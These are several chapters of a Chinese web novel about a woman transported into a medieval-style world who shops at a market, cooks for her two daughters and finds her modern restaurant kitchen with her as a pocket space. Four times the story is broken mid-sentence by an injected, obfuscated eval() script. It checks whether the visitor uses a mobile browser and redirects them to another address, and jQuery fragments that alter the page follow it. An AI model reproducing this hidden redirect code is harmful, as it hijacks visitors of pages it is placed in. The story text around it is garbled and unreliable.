平时若有顾客愿意以银币支付,既省去了清点铜币、折算的麻烦,也规避了铜价波动的风险,商家会很乐意给折扣。
定下店面需要的瓦片,尤兰达的钱包轻了,脚步重了。
她摸摸篮子里的丝绸裙子,调转脚步去海螺巷。
那里有一家公益性当铺。
找到挂着天平与十字架木牌的店铺,尤兰达推门进去。
“午安,修士先生,我要抵押一条丝绸裙子。”
……
踏出当铺大门,尤兰达掂量一下羊皮包。
可惜了原身花30银币订做的晚礼裙,只抵押来200铜币,不如一把镰刀值钱。
捂着刚到手的铜币,尤兰达直接奔向海螺巷的小广场。
小广场开设了露天市集,附近居民大多喜欢去那里采买食材杂货,类似于社区菜市场的功能。
“新出炉的黑麦面包3铜币一个,软软的白面包10铜币一个,老爷,买一个吧?”
“甜甜的覆盆子酱、树莓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200982|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酱,2铜分一勺,夫人尝尝吗?”
“嫩玉米90铜币两袋,新收获的嫩玉米便宜卖~”
市集不大,卖的东西五花八门,山珍海味、野兽皮毛、蔬菜浆果、布匹鞋帽……充满朴实、粗犷的时代感。
尤兰达路过围满妇人的摊子,钻进去瞧了一眼,原来是“蚝郎”挑来满满两大桶生蚝,现撬现卖。
“生蚝10铜币20只,夫人要买一点吗?
后天星期五斋戒日,当天买生蚝10铜币可就只能买10只呢。”
有夫人还价:“海边多得是生蚝,你不过运进城里而已,10铜币25只比较合适。”
同行的夫人配合说:“是啊,太贵了,不如去买猪血,做猪血汤也不错,5铜分能买一大桶呢,斋戒日吃上一天足够了。”
尤兰达听了一耳朵,既想要生蚝又惦记猪血。
辣炒猪血、猪血馍馍、猪血豆腐汤……花样多着呢。
生蚝更不必说,直接烹煮或者熬出蚝油清炒任何时蔬,都很美味。
尤兰达盘算一遍家里贫瘠的调味料,又摸摸自己干瘪的钱袋,强忍心动转身。
走出去没几步,拖着箩筐卖山货的小贩热情拦路,吆喝声震天响。
“夫人们瞧瞧呀,今早新采的野菌菇,鲜得滴露水,一捧只卖22铜币!”
尤兰达没来得及说什么,隔壁摊子上挑拣蔬果的几位妇人惊讶转头,纷纷说着“太贵了”之类的话。
“嘿,汉斯,”果酱摊前裹着头巾的胖妇人喊了一嗓子,“你前日不还卖15铜币吗?怎么转眼涨了这么多。”
名叫汉斯的小贩脸颊红扑扑,对上众位夫人不满的抱怨,搓着手解释:
“海伦夫人不知道吧,老林克摔断腿啦,就是那个最会认蘑菇的老头子。
这几个月他上不了山,我们哪敢随便收不认识的人的蘑菇?这些都是我高价从草药师手里收来的。”
一位瘦高妇人从旁边的蔬果摊走来,停在箩筐前,拨弄两下,挑剔说:
“种类也少了,你上个月说过,很快能吃上鹿肝菌呢。”
汉斯叹气,“是啊,如果老林克能上山,鹿肝菌一定少不了。
别看蘑菇长满山,可谁敢乱碰?我可不想哪天卖出去的蘑菇毒倒了人。”
尤兰达深以为然的点头,采蘑菇的确是技术活,非熟悉山林的老手不可胜任。
“但这些鸡枞菌、面包菇、牛肝菌特征明显,又很常见,竟然也要高价收购?”她俯身,从筐里拣出几朵形态清晰的蘑菇。
汉斯愣了愣,打量她一眼才答:“夫人,单独看不难,可它们长在树叶堆里,旁边常混着毒菌子。
比如牛肝菌,和‘魔鬼牛肝菌’同地出现,我们哪敢拿性命赌运气啊,只能依靠有经验的农户和草药师。”
尤兰达搜索一遍记忆,原身对此一无所知,开口问道:“难道没有农户种蘑菇吗?”
话音落下,几位妇人相继发出善意的低笑。
海伦夫人嗓门洪亮:“好夫人哟,蘑菇是山神的礼物,哪能说种就种?
它们只认腐叶、树根和山雾,换个地方根本种不活。”
她目光掠过尤兰达的衣着,心里了然,语气温和,“瞧您的打扮,想必夫人没去过林子深处吧?”
“夫人啊,蘑菇如果能像芥菜一样从菜畦里长出来,汉斯哪还用得着冒险上山。”
“我丈夫试过,他把牛肝菌的碎屑撒木屑堆里,天天浇水,结果生了好多虫子。”
“山上的东西有山上的脾气,”汉斯的语气充满敬畏:“趁着山神不注意偷偷摘走几个,我们知足啦。”
他捧起鸡枞菌:“所以啊夫人,22铜币真的不贵。”
妇人们没有花22铜币的意思,笑着搭了几句话,扭身挑选蔬果。有人耐不住馋,挤上来和汉斯软磨硬泡。
尤兰达面不改色地收回手,为讨价还价的夫人让出位置。
显然,童话世界的人族尚未掌握种植蘑菇的窍门。
别人种不出,她能啊。
尤兰达若有所思地挎上篮子,深入市集。
7. 第 7 章
海螺巷的市集小到连想“货比三家”,都凑不齐三家售卖同种商品的摊子。
尤兰达初来乍到,不敢贸然砍价。她便在摊子前逗留,装模作样挑拣一番,实则竖起耳朵,等着经验丰富的夫人与摊主你来我往的议价。
待双方成交,她若无其事地接上一句:“哦,听起来不错,也给我来一些”。
靠着这份厚脸皮与耐心,她用10铜币35颗的价格买下70颗番茄,又用1铜币带走了4颗饱满的大蒜。
食材好办,买牙刷时就再没有旁人来帮她打样了。
尤兰达对着摊子上那一排排用猪鬃扎成、手柄粗糙的木制牙刷犹豫片刻,终究还是花了5个铜币,买下一把全新牙刷。
虽说她占了原身的身体,可若要接着用原身用过的牙刷……恕她实在办不到。
买完这几样,海螺巷市集几乎走到头,只剩下几个稍显脏乱的摊子。
好巧不巧,尤兰达想要的东西,差不多全集中在这一片。
她先去了最近的草料摊,一番询价后,果断以4铜币的价格,买下20斤的干草屑和20斤坚果壳。
草料摊老板装填草料的工夫,她往前走了几米,停在一处卖煤炭的摊子前。
煤炭被大家视为不洁燃料,多数是工坊和贫困家庭使用,因此价格低廉。
自从得知煤炭比木柴便宜一大截,尤兰达满脑子蜂窝煤。
可惜眼下没人开发出煤球的用法,市面上买不到现成的成品,只能自己动手。
手搓蜂窝煤,好用又省钱,除了必备的煤炭、水,少不了草屑果壳和黏土。
“嘿,夫人,要多少?”
她一走近,满脸煤粉的煤炭商停下手里的铲子,露出一口白牙。
尤兰达掩住口鼻抵挡硫磺味,“买10铜币的,我家炉膛小,请多给碎一点的小块。”
小黑人唉了一声,挥动铲子将车上的碎煤炭铲进黢黑木桶里,每铲一下都用力压实,然后倒上煤粉填满空隙,快要溢出木桶才一股脑倒进麻布袋子里。
“麻布袋1铜币,一共11铜币,拿稳了。夫人下次买煤炭记得带上麻布袋,我这儿的煤炭耐烧着呢。”
尤兰达拎起麻袋感受一会,发现根本拎不动,这一大袋少说90斤以上。
11铜币花的真值。
“夫人,需要帮您送回家里吗?两条街内1.5铜币。”
尤兰达正苦恼怎么拖回去,蹲守一旁的少年凑上来,他肩头和双手蹭了不少黑灰,可见专门守着煤炭摊子赚运费呢。
对比煤炭价格,1.5铜币着实不便宜。
“放心吧夫人,安德鲁很可靠,我的客人们经常拜托他帮忙。”小黑人煤炭商为少年美言。
尤兰达算了算手里的钱,少花这1铜币也不会变富有,而且她真扛不动这么多东西。
她数出11枚铜币付给煤炭商,又拿出1枚铜币。
“矮人巷北1店,走出海螺巷右拐就能看见,1铜币可以吗?”
矮人巷可不远,1铜币也不少了。安德鲁高高兴兴收了铜币,一把扛起麻布袋。
“好的夫人,您买的草屑要一起带走吗?相信我,扛起它们并不难。”他伸出手指了指隔壁的草料摊。
尤兰达以为他只送煤炭呢,略显惊喜,“店门旁边有道院门,从门下的缝隙塞进去就好,那条缝足够宽敞了。”
少年一手扛煤炭,一手提起40斤的草屑果壳,游鱼一般滑进人群,不见踪影。
搞定煤炭,还剩下充当粘合剂的黏土,这玩意买不到,要么去溪边挖,要么去田埂挖。
尤兰达想了想泥炭的需求量,询问过价格后,果断选择不要钱的黏土。
她琢磨着哪天出城挖土,走回矮人巷,听见哗哗的溪流声,倏地想起家门口就有一条小溪,何必舍近求远。
尤兰达莞尔一笑,换一边胳膊提篮子,踩着第九时祷(15:00)的钟声回家。
几乎是刚走到巷子口,大约翰领着木柴店杂役来送货,他身后跟了个差不多瘦弱的小男孩,应当就是小约翰了。
只一个照面,尤兰达又花出去34枚铜币,其中14枚付给小约翰,请他每天上门清粪。
送走他们,尤兰达回到卧室,捏住羊皮包往桌上一抖,百十个铜币哗啦啦滚了两圈,躺作一堆。
捡出独苗银币藏进衣柜深处,剩下的铜币铜分她翻来覆去数了几遍,直叹气。
好穷,好穷!
又扒拉一遍剩下的铜币,尤兰达忍痛放弃买辣椒的打算。
草药铺的鲜辣椒一斤卖50铜币,够买一捆橡木柴,根本狠不下心花这笔钱。
既然买不起,那就自己种。
尤兰达回到厨房找出干辣椒搓出籽,加水放进陶碗浸泡。
都种辣椒了,泡点鹰嘴豆、豌豆、蚕豆顺带手的事,留待发芽炒成菜,怎么都比黑麦面包好吃。
处理完有的没的杂事,外面天色渐暗,前后左右的邻居家飘出缕缕炊烟,炖菜与烤面包的朴素气味四处弥漫。
尤兰达这才想起院门口的煤炭和草屑,拖回仓库暂放。
叮呤咣啷忙碌一通,一连串的动静惊醒屋子里的补觉女孩们,两人揉着眼,啪嗒啪嗒跑出来围住她。
“妈妈,我们能吃晚饭了吗?”
“我要吃无米蛋炒饭。”
尤兰达深吸气,疲惫微笑:“当然,不过你们得帮忙,我一个人可忙不过来。”
女孩们一听要自己动手,丧眉耷眼。
西芙拉垮着脸:“妈妈,我们家急需一个女仆。”
菲奥娜有气无力:“还有一个厨娘。”
尤兰达充耳不闻,只管分配备菜任务,女孩们反对无效,乖乖去井边打水。
有前面几餐的经验,尤兰达对三人的饭量把握得更精准了。
这次,她只切了一小块火腿和肉肠,打了两颗鸡蛋洒盐粒备用。
做好准备工作,探头从后门望向院中,两个女孩咋咋呼呼瞎忙活,土豆胡萝卜表层微湿。
尤兰达鼓励道:“做的不错,看来晨祷(凌晨2点)前有望能吃上你们洗出来的土豆了。”
两人一时半会忙不出名堂,尤兰达不想干等,扭头剥了四根玉米,做点玉米烙当饭后零嘴。
新上市的嫩玉米看着就糯,菜刀刮下饱满颗粒时,嫩浆迸溅,清香沾了一手。
笃笃笃,很快,陶盘里堆出灿黄的小山。
泥炉升起火苗,尤兰达先将玉米粒焯水断生,捞出后加小麦粉、橄榄油、少量麦芽糖和鸡蛋,拌成黏稠的浆糊为止。
陶锅里的水倒净,锅底抹一圈黄油,玉米糊入锅的刹那,“滋啦”一声轻响,她迅速用勺背将糊浆推圆定型,边缘渐渐凝出金黄的轮廓。
待底面烙成均匀诱人的深黄色,尤兰达手腕轻巧一抖,玉米烙翻了个身,落回锅底发出“啪”声,朝上的一面已然结出酥脆的壳。
玉米烙一块接一块出锅,叠在陶盘里,香甜味一层层漫开。
趁着晾凉的功夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200983|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,尤兰达仔细淘洗玉米须,和劈成小块的玉米芯一起塞进铜壶里,架上泥炉煮滚。
玉米须可是好东西,煮成玉米水口感清甜甘润,比白开水有滋味,比啤酒健康,最适合夏天饮用,清热降火、助力消化。
院中
两个女孩保持着提桶的姿势,昂起脑袋,鼻翼翕动,顶级过肺。
啊,真香。
西芙拉、菲奥娜舔舔唇,匆忙捞出土豆胡萝卜,小跑送进厨房。
东西放上桌,两人朝玉米烙鬼祟伸手,尤兰达“啪”一下拍开。
“胡萝卜的须没摘干净,土豆上的泥点也没搓掉……”她捡起食材检查一番,戳破了两人的糊弄。
玉米烙诱惑着她们的心神,尤兰达说什么,两人都应承下来,嗯嗯个不停。
尤兰达眼尾一挑:“以后你们负责洗碗。”
“嗯嗯……嗯?”惯性应了一声,两人齐齐发出抗议:“妈妈,我不要洗碗!”
“做饭和洗碗,你们总要选一个吧。我一个人,你们可是有两个人呢。”
西芙拉望了望玉米烙,做饭和洗碗二选一,无疑,只有洗碗适合她们。
妈妈做的饭能把人香迷糊,她们舍不得,也学不来。
两人谁都没想起要耍赖,脑袋凑一起,认真探讨洗碗和做饭该怎么分配。
傻的可爱。
尤兰达摇摇头,转身料理食材,菜刀笃笃笃。
听到声音,西芙拉的注意力瞬间飘走,哇声连连。
这是她们第一次亲眼见识尤兰达下厨的模样。
驾轻就熟的完成备菜,不过几分钟光景,热腾腾的无米蛋炒饭出锅了。
菲奥娜伸着脑袋连声追问:“妈妈你到底对它们施了什么魔法?怎么就、就变成这样了?”
厨子的基本功,落在她们眼里惊天动地,一句句发自肺腑的惊叹脱口而出,情绪价值拉满。
尤兰达飘飘然,这一飘,她决定多添一道菜汤。
从菜园掐来一把嫩生生的豌豆尖,洗净后滚水一焯,磕入蛋花,撒点盐粒,清清亮亮的豌豆尖鸡蛋汤端上了餐桌。
黄黄绿绿的菜汤看着朴实素净,入口说不出的清爽鲜美,正解了炒饭的腻。
一口饭一口汤,啊呜一口吞下玉米烙,两个小老外腮帮子鼓鼓,摇头晃脑。
“妈妈(嚼嚼嚼)……它真的是玉米吗?”西芙拉含混不清地追问,三观在香气中碎了一地,“那我们以前(嚼嚼嚼)……吃的是什么?”
如果不是手里的玉米烙还清晰保留着完整的颗粒形状,她宁愿相信此“玉米”和彼“玉米”是两种完全不同的物种。
“妈妈,明天我不要吃三明治了,我吃玉米饼。”菲欧娜当场表演见异思迁,忙不迭点菜。
尤兰达捏起一块玉米烙送进嘴里。
还行啊,口感酥脆带糯,正常的玉米味嘛。
转念一想,自从玉米随商队进入黑森王国,因其高产,迅速成为平民餐桌上的又一廉价主食。
当地人照葫芦画瓢,怎么处理小麦燕麦,就怎么处理玉米。
磨粉、煮粥、烤成粗粝的面包,烹饪手法单调乏味。渐渐,玉米虽被大家广泛接受,却也沦落为粗劣食物的代表。
对比她们以前吃过的干噎玉米硬粥,金黄酥脆、香甜软糯的玉米烙简直降维打击、味觉碾压。
再看两个如同发现新大陆的小土老冒,尤兰达目光怜悯。
哪天有空给她们做出爆米花,不得把她夸成上帝降临?
8. 第 8 章
尤兰达蹲在橱柜前挑拣,瞧瞧哪口锅适合做爆米花,身后冷不丁爆发一声惊呼。
“上帝啊!我真不敢相信我看到了什么。
妈妈,求你告诉我,我们家已经喝不起啤酒了吗?”
菲奥娜一口一个玉米烙,吃得心满意足。
忽然,她耸动鼻子,嗅出旁边铜壶里飘来的甜香。
菲奥娜以为妈妈藏了什么好东西,欣喜上前查看。
这一查看,可吓坏了她,妈妈竟然煮了一壶水!
西芙拉闻言大惊失色,噔噔噔跑去泥炉边,伸着脑袋去瞧铜壶内的景象。
下一秒,她像按了暂停键,捏着玉米烙一动不动。
“妈妈,我不要喝水,有怪怪的味道。
我也不想肚子疼去看医生,放血可疼了。
我们喝啤酒吧?或者葡萄酒呢?我记得我们带来了。”
女孩们齐齐露出崩溃神情,跺脚尖叫。尤其十分在意形象的西芙拉,直接忘记咀嚼,任由嘴里的玉米残渣滑稽地掉下。
尤兰达被两人一惊一乍的反应吓一跳,随后一拍脑门。
“放心喝,这是干净的井水。
你们看,我用柴火高温煮沸了,又加了玉米,喝起来甜丝丝。
我保证不会肚子疼。”
小孩们没有受过九年义务教育毒打,让她们理解什么叫“高温杀菌”、“改善水质”太难,索性用通俗一点的方式讲解。
“想想看,我们常喝的淡啤酒,不也是麦芽淋了热水后酿出来的吗?”
拿啤酒做例,西芙拉和菲奥娜听明白了,顿时冷静。
她们将信将疑地倒出一杯玉米水,低头一看,热气蒸腾着香气一起扑面而来,淡黄色泽澄澈清亮。
确实和淡啤酒有几分相似。
两人对视一眼,打算晾凉后浅尝一口。
毕竟它闻着甜甜的。
这时,敲门声“咚咚咚”响起,不轻不重。
母女三人才搬来,连收拾带打扫,脚不沾地忙了一天,顾不上和左邻右舍走动,想不出谁会找上门。
“晚上好,费尔南多夫人。”
尤兰达提上油灯来到门口,照亮门外腼腆微笑的小约翰,他拘谨地搓着衣角,努力堆起笑容。
“晚上好,小约翰。今晚不需要清洗粪桶,帮我找个地方丢掉它就好,如果可以,请帮我擦洗一下厕所,好吗?”尤兰达拉开门,领着他走进院子。
整座院子,除了店面三层留着修缮后统一大扫除,只后院的旱厕没有动过。
做为酒馆的公共厕所,打扫多少遍她都膈应,别说扔粪桶,连隔间也恨不得拆了重建。
可惜条件不允许。
小约翰愣了愣,房主夫人不仅回应了他的问好,还用了“请”“好吗”。
“当然,我很愿意帮忙。”他挺起胸膛,声音嘹亮,脚步轻飘地跟进院子后,整个人又缩了回去,小声说:“抱、抱歉……我是不是来得不是时候?”
清粪过程避免不了熏天臭气逸散,未免惹客户不快,小约翰通常会在天色擦黑、各家晚饭差不多结束时上门工作。
一进院子,瞧见起居室正在晚餐的场景,两个美丽女孩吃得津津有味,他懊恼极了。
“不碍事,”尤兰达摆摆手,“你只管做你的活儿。”
小约翰松了口气,缩手缩脚地穿过院子,往角落的木隔间走去。
走着走着,他的脚步不自觉慢下来,空气里飘着的食物香气太诱人了。
那是一种混合了焦糖般甜香的玉米味,还有某种说不出的、带着油脂的香气,丝丝缕缕钻进鼻腔。
“咕咕——”
小约翰肚子不争气的叫了几声。
自从接下矮人巷的清粪工作,街头巷尾来回无数趟,谁家炖了肉、谁家烤了面包、谁家夫人擅烹饪,逃不过小约翰的眼睛和鼻子。
他发誓,他的鼻子从未捕捉过这般香气,香到让人走不动道。
小约翰忽然想起,房主夫人似乎正为开饭馆做准备。
不知从哪请来的厨娘,这手厨艺可比附近几家酒馆饭馆高出一大截,以后生意肯定不会差。
真希望他有机会进店尝一尝滋味。
小约翰深吸一口食物香气,压下不合时宜的食欲,扎进厕所卖力清洗。
尤兰达正好吃完饭,没打扰小约翰,回厨房添柴烧洗澡水。
当地人通常一年半载洗一次澡,讲究点的富豪贵族一个月洗一次,再配合每天局部擦洗、勤换贴身衣物,组成了绝大多数人的清洁习惯。
原身也不例外,每天只睡前进行局部清洗,严格意义上的沐浴清洁发生在九个月前。
大半年没洗澡,多埋汰啊。
尤兰达忍不了一点,困到眼皮子打架也坚持先洗澡,非从头到脚搓得干干净净不可。
等热水烧开的功夫,她和女儿们知会一声,提上工具去门前小溪挖泥。
顺着石阶向下,溪边意外的热闹。
附近店铺的杂役们忙着打水、洗衣、清洗工具,水声与交谈笑闹声融成一片。
尤兰达去到偏下游的位置,拨开上层泥沙,一铲一铲挖沉底的淤泥、黏土。
两筐黏土拎回家倒进桶里,小约翰麻利地完成了清扫工作,主动帮忙换上了她准备的新粪桶。
尤兰达说了声谢谢,那孩子不知怎的,脸一下子红透。
“夫、夫人,您要检查吗?”他结结巴巴说。
一打眼过去就能验收成果,尤兰达没必要特意检查,她爽快地摸出五枚铜分递过去:“辛苦了。”
小约翰完全没料到有幸苦费,琥珀色双瞳晶亮湿润,浑身冒火一样滚烫。
皇城大街小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200984|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巷的清粪工作多由教堂、修道院收养的孤儿们接手,刚走上社会的半大孩子们没钱没经验没靠山,贵族养的狗都能踹他们一脚。
往日里,邻居们嫌弃他们身上臭烘烘,避之不及,却很乐于指使他们干活,呼来喝去。别说幸苦费,连道谢都少有。
大家为了来之不易的1铜币忍气吞声,经常负担些清粪以外的杂活。
小约翰习惯了冷言冷语的呵斥与鄙夷,房主夫人的温声请求和道谢,让他不知如何反应。
他攥紧热乎乎的5铜分,道了好几声谢,快活地赶去下一家。
入夜后,街上除了清粪工和流浪汉,几乎看不见人影。
尤兰达锁上院门,检查门窗,给大G补一桶草料。
回到院中,她并未能清闲,抓来一把草木灰,洒进堆满锅碗瓢的木盆里。
起居室内,两个女孩恹恹地盯着桌上的一片狼藉,生无可恋——
该她们洗碗了。
尤兰达怕了她们闹腾的劲儿,提前警告:“碗盘砸坏了,我们可没闲钱换新的。记着,先用草木灰擦一遍,最后打干净的井水冲洗。”
塑料姐妹情正式破裂,两个女孩为了分到的碗盘数量、大小争执不休,谁都不许对方比自己少干一点活。
尤兰达飞快逃离战场,转身钻进仓库。
一堆闲置的盆盆罐罐中,她拖出一个半人高的橡木桶,滚去院中树下。
井水冲洗几遍,浇滚烫开水杀菌,里外刷洗干净后,木桶又滚进卧室。
尤兰达一趟趟往返于厨房与卧室,热水冷水一桶桶运进去,兑成适宜洗澡的温度。
这一通折腾下来,她多少理解了当地人喜欢去澡堂子的原因。
尤兰达泡进热水,听着窗外隐约飘来的女孩们的叽叽喳喳,思索起如何改造私人浴室。
可惜她动手能力平平,想不出什么切实可行的好法子。
待全身上下搓掉几斤泥,换上新睡衣,尤兰达又有了新的苦恼——如何省时省力的倒洗澡水。
一趟趟运,累出一身臭汗,不白洗了?
一想到眼前的不便只是小麻烦,想到未来还要烦恼如何度过生理期,尤兰达头大如斗。
“没有系统,好歹给个有楼房有黑土地的灵泉空间…… 嗯?”
她疲惫瘫倒,抱怨话语未说完,眼前景象骤然变化——
灯光明亮晃眼,不锈钢流理台宽敞整洁,沿墙角放置的刨肉机泛出冷光,洗菜区的水龙头滴答滴答。
死前掏到一半的时髦背包要掉不掉地挂在椅背上,包装完好的软糖静静躺在包底……
尤兰达腾一下弹跳而起,揉揉眼,掐住自己胳膊。
“嘶!”
费心费力装修了几个月,设备食材齐全、崭新舒适的私厨餐厅,跟着她一起穿来了。
她有空间了?
9. 第 9 章
尤兰达突然就不困了,身影忽闪忽闪,频繁进出空间和卧室,反复确认。
待她冷静,摸着冰凉的不锈钢台面,目光掠过一盆盆油盐酱醋味精和香料,差点乐出声。
空间来的太及时了,一切都保持在她穿越前一刻的状态。
备菜台上,葱姜蒜段等处理好的食材占据全部桌面;
打开八门的商用冷藏柜,鸡鸭鱼肉、海鲜河鲜分门别类,满满当当;
储藏间的货架上,米面粮油一袋压着一袋,找不到一点缝隙;
水吧台后,各色酒水饮料整齐排列,时令水果洗净,随时可以榨汁。
她走到消防后门,这里也保持着杂乱状态。
门口堆着菜贩清早送来的五个泡沫箱,里面塞满了新鲜蔬菜瓜果。门边收纳箱才从家里寄来,里面装了一堆后两期拍摄所需的食材、工具。
穿过走廊来到前厅,桌椅板凳一尘不染,为粉丝们准备的感恩礼盒整齐码放;亲朋和粉丝送的开业贺礼堆积一旁,等待拆箱。
收银台后,地上横七竖八躺了许多快递,金主寄来的厨房小家电排排放,等她写完脚本植入视频。
旁边的杂物间,抽纸卷纸塞满柜,为顾客准备的护手霜、卫生巾尚未拆封。
推门走进洗手间,洗手池冷热水流转正常;伸脚轻轻一扫,智能马桶感应启动,轰轰隆隆卷起旋涡冲刷。
将手探向出风口,烘手器嗡嗡嗡,送出强劲的暖风。
尤兰达乐得见牙不见眼。
前一秒发愁生理期和上厕所的问题,后一秒送来了卫生巾和抽水马桶,连吹风机也有烘手器代替。
可惜柜子里的卫生巾加上包里随身备用的安睡裤,只够她用两、三个月,卫生纸倒是能撑上一年半载。
不管怎么说,有总比没有的好。
想到什么,她钻去员工休息区,取来平板和电脑尝试联网。
毫无反应。
没网就没网,有水有电,有吃有喝,有整间私厨餐厅当她的金手指,知足了。
环顾自己亲手打下的江山,尤兰达说不出的满足。
余光瞥见桌上外卖刚送到的手打柠檬茶,杯子外壁凝结细密水珠,心思一动。
空间……还有保鲜功能?
这么想着,她直接上手测试。
先拿半包抽纸和一杯热茶回卧室,又从卧室的烛台上拔下正燃烧的半截蜡烛,指甲掐出痕迹,闪身回到空间。
等了足有十分钟,蜡烛的长度一丝未减,而桌面上,悄然“刷新”出一包全新的、与她带出去时一模一样的抽纸。
尤兰达又惊又喜,打开消毒餐柜,果然,架子上也多出新的玻璃杯。
她取回带出去的抽纸和茶杯,仔细对比,分毫不差。
空间不仅可以维持带入事物状态,还可以重置刷新物资?
这一回,尤兰达没忍住,短促地笑出声。
美得很,美得很!
快步去卫生间借烘手器烘干头发,望见镜中笑意盈盈的陌生脸庞,尤兰达心底格外踏实。
这时,她才真正抽出空,端详原身的外貌。
和两个女儿随了亲爹的金发蓝眼不同,尤兰达生着一头浓密卷曲的乌黑长发,眼眸是青翠欲滴的绿,像雨后的森林、深潭,荡漾着细碎波光。
粗麻布搓洗过的脸颊透出健康的红晕,五官大气明艳,丰润嘴唇微张,有几分安吉丽娜·朱莉的风采。
母女三人风格迥异,却都是不折不扣的美人,尤兰达看直了眼,好半天挪不开视线。
再看原身身材,可见没有亏待过自己的嘴。身形高挑不说,白皙又丰腴,好好滋补调养,定能养出结实体格。
尤兰达别提多高兴了,这和中彩票有什么区别?
前世的她瘦瘦小小,低血糖、低血压、亚健康、气血亏虚……集于一身。不致命,纯折磨人。她就盼着自己哪天能气血充足、精力旺盛。
夜风习习吹进,床幔挡住晚间的凉意和蚊虫,温度不冷不热,搭一条薄被正好眠。
尤兰达嘴角噙着笑,意识飞快堕入黑暗,沉沉睡去。
当晨光透过纱幔斜斜切进卧室,没多久,屋外传来噔噔噔的动静。
下一秒,就听西芙拉和菲奥娜隔着厕所的门板互相较劲:
“我先醒的!”
“明明是我先进来的!”
“谁让你昨晚多喝了一碗玉米水!”
尤兰达拥着薄被坐起身,瞪向眼前精致床幔,意识恍惚。
一觉到天亮,晨祷和赞祷的钟声一概没听见,更无从分辨时间。
她摸了摸咕咕叫的肚子,傻笑着进空间洗漱。收拾整齐后,又在空间转了一圈,美滋滋离开卧室。
西芙拉和菲奥娜听到木门开合的轻响,扭过头看去。
走进日光下的尤兰达容光焕发,白皙皮肤像珍珠母贝般,散发温润柔和光辉。深邃的眼角眉梢间,漾着藏不住的喜气,步伐都透着轻快的劲儿。
女孩们纳闷地对视一眼,想不通老母亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200985|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为何如此高兴。
见她神清气爽、衣着齐整,只当她和往常一样,比她们起得更早,已然从容的打理好自己。
“妈妈,早午饭吃三明治吗?”蹲在井边的西芙拉仰起脸。
“玉米烙,我要吃玉米烙。”
菲奥娜正漱口,听到姐姐点菜,口齿不清地补上一句。
尤兰达抬头瞅一眼天色,吃早饭嫌晚,吃午饭嫌早。
昨天搬进搬出又赶了一晚上夜路,消耗大,白天按照一日三餐的标准吃。
今天没什么体力活,不如入乡随俗,按照一天两顿安排。
“今天啊,吃班尼迪克蛋。”
说到早午饭,绕不过C位之选的班尼迪克蛋,洋人心尖上的经典。
水波蛋好办,培根有现成的,英式松饼用白面包平替。荷兰酱有点麻烦,但有果醋代替柠檬,难度不大。
尤兰达排列好需要的食材,点燃两口泥炉,一锅烧水煮水波蛋,一锅煎培根。
等待的间隙充分利用,敲三枚鸡蛋,捞出蛋黄放进小碗,加盐粒打发蓬松,缓慢倒入提前融化的黄油。
中途要小心看顾着两边的泥炉,捞起煮好的水波蛋,顺便给培根翻个面,然后继续搅拌。
蛋液与黄油完全交融,变得浓稠亮泽,此时加入两勺苹果醋,荷兰酱就算完成大半,剩下的交给时间。
就着培根留下的底油,白面包切厚片用余温烘软,铺上两片煎得边缘卷翘的焦香培根、一颗白胖水灵的水波蛋,最后,淋下一大勺嫩黄的浓醇荷兰酱。
班尼迪克蛋一盛进餐盘,提前守在灶台边的西芙拉和菲奥娜按耐不住伸出手。
两人顾不上回起居室的餐桌,围着料理桌,一手端盘,一手举叉。
叉子轻轻一戳,娇嫩蛋白裂开大口,嫩黄酱汁和蛋黄齐齐流出、交融。
“这……这是蛋黄?”
菲奥娜的惊叹只持续一瞬,便戳起颤颤巍巍的半块水波蛋塞进嘴里。
蛋白果然够嫩,仿佛能直接融化。蛋液裹住舌尖,烫得她斯哈斯哈也没舍得吐,混合荷兰酱的酸香,口感绵密顺滑。
菲奥娜不再迟疑,放下刀叉直接上手,面包片卷起培根、蘸着酱汁,一同送入口中。
嚼嚼嚼,菲奥娜哇出声。
蛋的柔滑、酱的酸香、培根的咸脆、面包的绵软,每一种口感都令她感到新奇。
